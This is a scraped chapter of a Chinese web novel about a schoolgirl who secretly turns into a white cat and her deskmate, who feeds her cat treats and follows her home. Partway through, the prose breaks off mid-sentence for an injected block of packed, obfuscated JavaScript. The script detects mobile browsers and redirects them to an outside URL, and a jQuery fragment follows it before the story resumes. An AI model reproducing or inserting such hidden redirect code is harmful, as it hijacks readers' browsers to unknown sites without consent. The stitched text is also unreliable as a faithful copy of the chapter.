14. 跟回家

作品:《只能吃我的投喂

    木叶子走出教室,准备做午休时没做的事情,去乞讨猫条。


    草地上,那只橘猫吃的那么开心的场面还印刻在她脑子里。


    后来她也主动蹭她同桌的裤腿,将自己递出去给她同桌摸摸,就是想她同桌也能给她猫条。


    可是她同桌对白猫好像有偏见。


    之前在宿舍楼下讨食也是,今日在草地上讨食也是,她同桌喂了小三花和橘猫,就是没喂白猫。


    这已经不是简单的偏见了,这是摸了猫猫不给猫条,是猫猫界恶劣的白|嫖事件。


    这次遇客不姝的经验告知木叶子,向人类讨食,看准对象很有必要,她同桌已被她划分在她的黑名单里。


    现在是放学时间,校园里走动的到处都是学生,出于对外面世界的不信任,木叶子依旧打算在学校里讨食,地点就要谨慎选择了。


    艺术楼更靠近操场,距离学校食堂远,人少,木叶子选择将书包和衣服留在这里,变成猫猫跑去宿舍楼乞讨。


    她隐秘地走到艺术楼背面的草丛里,变成猫猫。


    猫猫身法矫捷地迈开四条腿,避开可能有老师出现的地方,来到宿舍楼下。


    晚饭时间紧张,学生大多都去食堂吃饭,宿舍楼区域的学生不多,偶尔也会有人经过。


    她缓慢地来回踱步,认真挑选一位看起来文静的女生讨食。


    这位女生之前有喂过她,她知道她身上可能会有猫条。


    做出选择后,她迈着优雅的猫步准备朝那女生靠近,用了全身猫劲儿夹着嗓子,朝那女生叫了一声:“喵……”


    那女生叫谢晓春,是5班的学生,之所以在晚饭时间回来宿舍,是因为她昨日拿回宿舍的资料忘记带去教室。


    她匆匆忙忙乘坐电梯到宿舍六楼,拿上忘带的资料。


    现在再去食堂买饭已经来不及了,于是她也拿了宿舍的面包做晚饭,这会儿她就直接去教室。


    正走着,远处有声音喊她。


    她戴着眼镜,看不真切。等人走近了,她认出人是谁:“时时黎同学……”


    她紧张到结巴,已经不会说话了。


    “抱歉,我认错人了。”时黎说。


    “啊……?”谢晓春面露失望,毕竟与年级第一说话,可是很难得的事情:“这样啊……”


    时黎:“嗯。”


    谢晓春不知为什么鼻头发酸,她怕在年级第一面前出丑,磕绊说:“那我先走了,时黎同学……”


    听到两人谈话,躲在草丛里的猫猫很是郁闷地踩自己粉粉的肉垫,心里不住想:又是她同桌,那个白|嫖猫猫的人类,坏人类。


    出于时间考虑,猫猫准备转换场地,重新挑选想要乞讨的人类。


    然而她猫身刚转过去,就听到有熟悉的声音朝她说:“原来你在这里。”


    猫猫回身:“喵呜。”


    做什么,难道她同桌专门来找她的?


    时黎慢慢朝她走来,蹲身问:“你在这里做什么?”


    猫猫疑惑:“喵?”


    难道她同桌不知道,猫猫是不能回答人的问话吗?


    她感到她同桌很奇怪,为什么总是和猫说话。这样想来,又觉得她同桌很可怜。


    是不是她同桌没什么朋友,内心极度压抑,情绪无从宣泄,才会找猫猫说话?


    “我可以摸摸你吗?”时黎问。


    猫猫立刻警戒地绷紧猫身,这个人,可是摸了猫猫,不给猫条的。


    准确说,只不给白猫吃猫条。


    既然她同桌对白猫这么狠心,为什么又想要摸摸白猫呢?


    对于一只猫来说,了解人类奇怪的心理,远没有猫条重要。


    猫猫往前走出一段距离,远远与时黎对望。


    意思明确,不给摸。


    时黎有些落败地蜷紧了指,就这样与他同桌对望。他不理解他同桌为什么又变成猫了,来到这里要做什么。


    他只有本能指使他,他不想别人靠近他同桌,因此他喊住那个女生。


    他没有内耗多久,他同桌已不再停留原地,扭回身子走了。


    他不知什么心理,这一刻,他想要留住他同桌的情绪达到顶峰。


    明知他同桌说过不吃别人给的食物,他还是摸出兜里时刻备着的猫条,撕开——


    猫条的气味勾住猫猫的脚步,猫猫转过身来的这刻,时黎的心脏都差点停滞。


    他捏着猫条的手微不可察地颤抖,忍不住期望他同桌能回心转意来到他身边。


    猫猫也真的回来了,扭捏地蹭了他的裤腿,算是喂猫条的报答,便片刻也等不及地凑到时黎手边吃猫条。


    她舔的很快,时黎每次挤猫条都很少,延长她对猫条的享受时间。


    吃完一整根猫条,她餍足地洗了小猫脸,围着时黎叫两声。


    虽然她这同桌白|嫖两次,只给猫猫一根猫条,但猫猫大人不记小人过,原谅时黎了。


    时间差不多了,木叶子一步三回头地扭身看时黎:“喵呜。”


    我走了。


    时黎仍是蹲在原处,手里捏着已经挤不出任何东西的猫条,目送她离去。


    木叶子走回艺术楼背面的草丛,找回自己的书包和衣服,变成人形从草丛里出来。


    她的头发有些乱,身上也到处都沾些碎草叶。她伸手整理着装,不出差错后,才背着书包准备往校门口走。


    走路的这段碎片化时间,她常常用来背英语单词。


    她摸出英语本,低着眼背单词。


    因此没注意前面有人,还好她在走到近前时停住脚,不然就要撞上去了。


    离得近,她鼻息间都是浅浅的薄荷香。


    她作为人后,对薄荷很有好感。她往后退一步,抬眼道歉:“对不起……”


    “没事。”


    时黎单手捏着书包带,他脸皮薄,自耳根红后,现在红晕蔓延至脸上,他偏头不自在地躲开木叶子的视线。


    木叶子还没走出艺术楼范围,不奇怪时黎会出现在这里:“你这么早就吃过晚饭回教室了……”


    猫猫不太擅长社交,平常这种情况,她不多说话,就与人擦身而过。


    现在与她同桌多说一句,是因为她同桌刚刚喂了她猫条。


    时黎低低地“嗯”一声。


    “你要去食堂?”他装作忘记他同桌不上晚自习的事。


    “不是,我,回家。”学会做人的猫猫,偶尔也会撒谎,以避免不必要的交际。


    “嗯。”


    说谎,时黎在心里低喃。


    “明天见。”


    ……


    晚上九点半,也是一中晚自习结束的时间。


    木叶子收拾好书包,与刘思文女士道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385057|200104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    别,刘归帆仍是被派遣来送她回家。


    他们走到小区楼下,刘归帆说着他学校里的趣事,寻着小电驴开锁的声音找过去。


    他将车子骑出来,车灯如柱打向前方,隐隐照亮前方身影。


    因为距离过远,看不真切面容,刘归帆没太注意,他将头盔递过去:“姐姐,上车。”


    木叶子戴好头盔,坐上车:“好了。”


    “坐稳,我们走了。”他戏说着,想木叶子能搂着他腰。


    不过没能等来。


    刘归帆非常遗憾,注意到车子往前走时,又不见最初隐在前方的身影。


    将要入冬的时节,夜晚的天气更凉,木叶子借着刘归帆的身子挡风,摸出耳机听英语听力。


    随着刘归帆的突然刹车,木叶子拿在手上的耳机掉落。


    “怎么了?”


    “没事……”刘归帆也是突然被扯了下心脏:“有只猫突然从旁边跑出来,还好没碰到……”


    木叶子抓住刘归帆的衣服说:“没事就好,刚才我耳机掉了,我下去捡,你等我一会。”


    她抱着摘掉的头盔,打开手机手电筒往回走。


    视线随着手机的灯光走动,听到后面有猫软软地叫,以及刘归帆和猫说话的声音。


    她走出一段距离,还是没找到耳机,估算着应该掉落在附近。她没往更远处找,又拐了回去。


    刘归帆和那只跑出来的猫玩一会儿,抬头朝木叶子看过去:“姐姐,找到耳机了吗?”


    “没有……”


    刘归帆打开手机灯光,跑过来:“什么颜色的耳机?”


    “白色的,无线耳机。”


    “好,我帮姐姐一起找找。姐姐放心,耳机就掉在这附近,不会找不到的。”


    两人找了十分钟,木叶子就说:“不找了,时间不早了,我们先回去吧。”


    刘归帆送木叶子到老旧房区,在木叶子走之前说:“我明天早上去学校时,再走那段路帮姐姐看看……”


    “只是一个耳机而已,你快回去吧,注意安全。”木叶子挥挥手。


    “明天见,姐姐。”刘归帆放弃了,重新买个耳机,以生日礼物的名义送出去也好。


    “明天见。”


    木叶子打着灯走进窄小的巷子里,摸出仅剩的一只耳机,连接手机蓝牙,点开英语听力。


    这段漆黑、窄小、弯绕的巷子里,她轻声走过,会有两旁家养的狗朝外叫着。


    耳机的声音被调大,醇厚男声说着一口标准的英式伦敦腔,讲述一个凄美的故事。


    故事的主人公最后也没能走在一起,在故事的结尾,男主人公独自走在热闹的街道上,来来往往结伴的情侣与他擦肩而过,他说——


    她永远留在了我往后的余生里,可我依旧爱她。


    轻微开锁的声音响起,木叶子推开门。


    经过她之前与外婆的谈话,最近她外婆等她回家,不再摸黑干坐着。


    屋里有暖暖的灯光流泻出来,一位满头银发的老人坐在堂屋里,手里用针线和穿不上的衣服缝制书包。


    木叶子收起耳机,耳机里最后的声音戛然而止在男主人公的心里剖白。


    大门随之关上,灯光被阻拦在里面,黑暗再次笼罩时黎身上。


    他摘下耳机,默默站在门外,口袋里的手机轻轻震动着。